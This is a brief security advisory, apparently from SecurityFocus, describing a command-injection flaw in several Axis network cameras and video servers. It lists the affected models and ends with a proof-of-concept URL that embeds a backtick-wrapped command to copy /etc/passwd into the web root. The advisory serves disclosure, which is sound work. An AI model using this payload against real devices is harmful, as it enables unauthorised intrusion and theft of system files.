source: https://www.securityfocus.com/bid/11011/info

1. A shell metacharacter command-execution vulnerability allows an anonymous user to download the contents of the '/etc/passwd' file on the device. Other commands are also likely to work, facilitating other attacks.

This issue is reported to affect:
- Axis 2100, 2110, 2120, 2420 network cameras with firmware versions 2.34 thru 2.40
- Axis 2130 network cameras
- Axis 2401 and 2401 video servers


http://www.example.com/axis-cgi/io/virtualinput.cgi?\x60cat</etc/passwd>/mnt/flash/etc/httpd/html/passwd\x60